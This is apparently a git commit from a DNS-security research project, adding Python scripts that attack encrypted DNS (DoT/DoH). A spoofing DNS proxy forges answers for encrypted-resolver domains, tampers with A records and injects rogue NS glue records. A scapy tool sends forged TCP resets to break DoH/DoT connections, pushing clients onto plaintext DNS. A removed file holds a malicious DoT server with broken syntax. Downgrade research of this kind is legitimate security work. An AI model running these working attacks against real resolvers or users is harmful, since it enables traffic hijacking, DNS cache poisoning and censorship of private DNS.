This commit is contained in:
“shihaoyue”
2024-10-21 14:58:36 +08:00
parent 0eadbb7401
commit 0b12a25356
45 changed files with 145898 additions and 366 deletions

Binary file not shown.

View File

@@ -0,0 +1,76 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
from logger_DoE import *
import pandas as pd
domains = set(pd.read_csv('domains.csv').domain)
upstream_server = '223.5.5.5'
# 创建监听socket
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listener.bind(('127.0.0.54', 53))
parser = argparse.ArgumentParser()
parser.add_argument('-pass', '--passdoe', default=0)
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='1.1.1.1')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
logger = InfoLogger(interval=1)
logger.log_info(LogLevel.INFO, "程序开始运行")
while True:
# 接收DNS请求
data, addr = listener.recvfrom(1024)
#print(dns.message.from_wire(data))
data = dns.message.from_wire(data)
query_r = data.question[0].name.to_text()[:-1]
if query_r in domains and args.passdoe==0:
# print(data.question[0].name.to_text()[:-1])
# print(addr)
#print(data)
#print('对DoE域名的DNS请求', query_r)
logger = InfoLogger(interval=1)
logger.log_info(LogLevel.INFO, f'对DoE域名的DNS请求{query_r}')
# # 创建TLS连接并发送DNS请求到上游服务器
resp = dns.query.udp(
q=data,
where=upstream_server,
timeout=10)
#print('DNS响应', resp.answer)
resp.answer = [dns.rrset.from_text(query_r+'.', 3600, dns.rdataclass.IN, dns.rdatatype.A, '10.10.10.10')]
#print(f'对DoE域名{query_r}的DNS请求已阻断返回10.10.10.10')
logger.log_info(LogLevel.INFO, f'对DoE域名{query_r}的DNS请求已阻断返回10.10.10.10')
logger.log_info(LogLevel.PAYLOAD, str(resp.answer.__str__()))
# with socket.create_connection((upstream_server,853)) as sock:
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
# tls_sock.sendall(data.to_wire())
# resp = tls_sock.recv(4096)
# 将上游服务器的响应发送回客户端
listener.sendto(resp.to_wire(), addr)
else:
resp = dns.query.udp(
q=data,
where=upstream_server,
timeout=10)
if str(resp.question[0].name) == tamper and int(resp.question[0].rdtype) == 1:
print('---tamper---', tamper)
resp.answer = [
dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '8.8.8.8')]
if str(resp.question[0].name) == inject:
print('---inject---', inject)
resp.additional = [
dns.rrset.from_text(inject, 3600, dns.rdataclass.IN, dns.rdatatype.NS, 'ns.' + inject.split('.', 1)[1]),
dns.rrset.from_text('ns.' + inject.split('.', 1)[1], 3600, dns.rdataclass.IN, dns.rdatatype.A, ns)]
listener.sendto(resp.to_wire(), addr)
#break

View File

@@ -0,0 +1,49 @@
import asyncio
from scapy.all import *
import argparse
from logger_DoE import *
logger = InfoLogger(interval=1)
logger.log_info(LogLevel.INFO, "程序开始运行")
async def process_packet(packet):
if TCP in packet:
seq = packet[TCP].seq
ack = packet[TCP].ack
local_port = packet[TCP].sport
print(f"Seq: {seq}, Ack: {ack}")
# Construct a new packet to send
rst_packet = Ether(dst="00:16:3e:08:8b:25", src="ee:ff:ff:ff:ff:ff") / IP(dst=local_ip, src=target_ip) / TCP(sport=target_port,
dport=local_port, flags="AR",
seq=ack, ack=seq+1, window=0)
sendp(rst_packet, iface='eth0')
logger.log_info(LogLevel.PAYLOAD, rst_packet)
def sniff_packets():
# Define a callback for processing packets
def callback(packet):
asyncio.run(process_packet(packet))
# Start sniffing
sniff(prn=callback, filter=f"tcp and ip src {local_ip} and ip dst {target_ip} and tcp dst port {target_port}", store=0,iface='eth0')
def main():
sniff_packets()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-p', '--protocol', default='doh')
parser.add_argument('-ip', '--ip', default='94.140.14.14')
args = parser.parse_args()
# target_ip = "94.140.14.14"
# target_port = 443
ports = {'doh':443, 'dot':853}
target_ip = args.ip
target_port = ports[args.protocol]
local_ip = "172.22.115.154"
main()

36096
11_dot_injection/domains.csv Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -1,45 +0,0 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
args = parser.parse_args()
print(f'DoT server: {args.dot}')
upstream_server = '47.88.31.213'
# 创建监听socket
listener = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
listener.bind(('127.0.0.1', 53))
# 创建TLS连接
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
while True:
# 接收DNS请求
data, addr = listener.recvfrom(1024)
#print(dns.message.from_wire(data))
data = dns.message.from_wire(data)
if 'baidu' in data.question.__str__():
# print(data)
# print(addr)
print('DNS请求', data.question)
# # 创建TLS连接并发送DNS请求到上游服务器
resp = dns.query.tls(
q=data,
where=upstream_server,
timeout=10,
ssl_context=context)
print('DNS响应', resp.answer)
# with socket.create_connection((upstream_server,853)) as sock:
# with context.wrap_socket(sock, server_hostname=upstream_server[0]) as tls_sock:
# tls_sock.sendall(data.to_wire())
# resp = tls_sock.recv(4096)
# 将上游服务器的响应发送回客户端
listener.sendto(resp.to_wire(), addr)
break

View File

@@ -1,63 +0,0 @@
import argparse
import asyncio
import ssl
import socket
import dns.asyncquery
import dns.message
import dns.rcode
import dns.flags
import dns.message
import dns.rrset
from dnslib import DNSRecord
async handle_client(reader, writer):
request_data = await reader.read(1024)
request = dns.message.from_wire(request_data[2:])
#print(request)
dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype)
dns_request.id = request.id
#print(dns_request)
dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5')
#print(dns_response)
if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1:
print('---tamper---', tamper)
dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')]
if str(request.question[0].name) == inject:
print('---inject---', inject)
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
#print(dns_response)
response_data = dns_response
record_header = len(response_data.to_wire()).to_bytes(2, 'big')
# 构建完整的TLS响应数据
tls_response_data = record_header + response_data.to_wire()
writer.write(tls_response_data)
await writer.drain()
writer.close()
async start_server():
# 配置服务器参数
listen_address = '0.0.0.0'
listen_port = 853
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
# 创建TCP服务器
server = await asyncio.start_server(
handle_client, listen_address, listen_port, ssl=context)
print(f'DoT server listening on {listen_address}:{listen_port}')
async with server:
await server.serve_forever()
parser = argparse.ArgumentParser()
parser.add_argument('-tamper', '--tamper', default='')
parser.add_argument('-inject', '--inject', default='')
parser.add_argument('-ns', '--ns', default='39.106.44.126')
args = parser.parse_args()
tamper = args.tamper +'.'
inject = args.inject +'.'
ns = args.ns
asyncio.run(start_server())

View File

@@ -0,0 +1,52 @@
# -*- coding: utf-8 -*-
import time
import json
import threading
from queue import Queue
class LogLevel:
INFO = "INFO"
WARNING = "WARNING"
ERROR = "ERROR"
PAYLOAD = "PAYLOAD"
class LogEntry:
def __init__(self, log_level, log_info):
self.created_time = time.strftime("%Y-%m-%d %H:%M:%S")
self.log_level = log_level
self.log_info = log_info
class InfoLogger:
def __init__(self, interval=1):
self.log_queue = Queue()
self.interval = interval
self.logging_thread = threading.Thread(target=self.start_logging)
self.logging_thread.daemon = True
self.logging_thread.start()
def start_logging(self):
while True:
entry = self.log_queue.get()
if entry is None: # 退出信号
break
# time.sleep(self.interval) # 延迟输出
# 确保输出中文
print(json.dumps(entry.__dict__, ensure_ascii=False))
def log_info(self, level, message):
entry = LogEntry(level, message)
self.log_queue.put(entry) # 将日志条目发送到队列
def close(self):
self.log_queue.put(None) # 发送退出信号
self.logging_thread.join() # 等待线程结束
# 主函数
# if __name__ == "__main__":
# logger = InfoLogger(interval=1)
# logger.log_info(LogLevel.INFO, "程序开始运行")
# logger.log_info(LogLevel.WARNING, "这是一个警告信息")
# logger.log_info(LogLevel.ERROR, "发生了一个错误")
# logger.log_info(LogLevel.PAYLOAD, "处理的有效负载信息")
# logger.log_info(LogLevel.INFO, "程序结束运行")
# logger.close() # 关闭日志记录

View File

@@ -0,0 +1,77 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
import ipaddress
import base64
import httpx
def do53_query(name,type):
query = dns.message.make_query(qname=name, rdtype=type)
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
print(f'本地do53解析域名{name}{type}记录:\n{response_message}')
def p1(doh,mode,name,type):
print(f'========Phase 1: 解析获取DoT服务器的IP地址========')
query = dns.message.make_query(qname=doh, rdtype='A')
for i in range(1,4):
try:
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
except:
response_message = ''
print(f'获取失败,重试{i}')
if response_message != '':
print(f'{doh} A 记录地址为 {response_message.answer[0]}')
p2(str(response_message.answer[0]).split(' ')[-1],args.mode,args.name,args.type)
else:
if mode == 'opportunistic':
print('机会隐私设置,降为明文进行查询')
do53_query(name, type)
else:
print('严格隐私设置,查询结束')
def p2(doh_ip,mode,name,type):
print(f'========Phase 2: 与DoT服务器{doh_ip}建立连接========')
query = dns.message.make_query(qname=name, rdtype=type)
headers = {"content-type": "application/dns-message", "accept": "application/dns-message", "host":doh_ip}
for i in range(1,4):
try:
with httpx.Client(http2=True, http1=True, verify=True, timeout=5) as client:
resp = client.get(f"https://{doh_ip}/dns-query?dns=" + base64.b64encode(query.to_wire()).decode("UTF8").rstrip("="),
headers=headers)
response_message = dns.message.from_wire(resp.content)
#print(response_message)
except:
response_message = ''
print(f'获取失败,重试{i}')
if response_message == '':
if mode == 'opportunistic':
print('机会隐私设置,降为明文进行查询')
do53_query(name, type)
else:
print('严格隐私设置,查询结束')
else:
print(f'解析域名{name}{type}记录:\n{response_message}')
parser = argparse.ArgumentParser()
parser.add_argument('-doh', '--doh', default='dns.alidns.com')
parser.add_argument('-mode', '--mode', default='opportunistic')
parser.add_argument('-name', '--name', default='www.baidu.com')
parser.add_argument('-type', '--type', default='A')
args = parser.parse_args()
print(f'DoH server: {args.doh}')
try:
if ipaddress.ip_address(args.doh):
p2(args.doh, args.mode, args.name, args.type)
except:
p1(args.doh,args.mode,args.name,args.type)

View File

@@ -0,0 +1,68 @@
import socket
import ssl
import dns.message
import dns.query
import dns.rcode
import argparse
import ipaddress
def do53_query(name,type):
query = dns.message.make_query(qname=name, rdtype=type)
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
print(f'本地do53解析域名{name}{type}记录:\n{response_message}')
def p1(dot,mode,name,type):
print(f'========Phase 1: 解析获取DoT服务器的IP地址========')
query = dns.message.make_query(qname=dot, rdtype='A')
for i in range(1,4):
try:
response_message = dns.query.udp(q=query, port=53, where='127.0.0.54', timeout=5)
except:
response_message = ''
print(f'获取失败,重试{i}')
if response_message != '':
print(f'{dot} A 记录地址为 {response_message.answer[0]}')
p2(str(response_message.answer[0]).split(' ')[-1],args.mode,args.name,args.type)
else:
if mode == 'opportunistic':
print('机会隐私设置,降为明文进行查询')
do53_query(name, type)
else:
print('严格隐私设置,查询结束')
def p2(dot_ip,mode,name,type):
print(f'========Phase 2: 与DoT服务器{dot_ip}建立连接========')
query = dns.message.make_query(qname=name, rdtype=type)
for i in range(1,4):
try:
response_message = dns.query.tls(q=query, port=853, where=dot_ip, timeout=5,verify=True)
except:
response_message = ''
print(f'获取失败,重试{i}')
if response_message == '':
if mode == 'opportunistic':
print('机会隐私设置,降为明文进行查询')
do53_query(name, type)
else:
print('严格隐私设置,查询结束')
else:
print(f'解析域名{name}{type}记录:\n{response_message}')
parser = argparse.ArgumentParser()
parser.add_argument('-dot', '--dot', default='dns.alidns.com')
parser.add_argument('-mode', '--mode', default='opportunistic')
parser.add_argument('-name', '--name', default='www.baidu.com')
parser.add_argument('-type', '--type', default='A')
args = parser.parse_args()
print(f'DoT server: {args.dot}')
try:
if ipaddress.ip_address(args.dot):
p2(args.dot, args.mode, args.name, args.type)
except:
p1(args.dot,args.mode,args.name,args.type)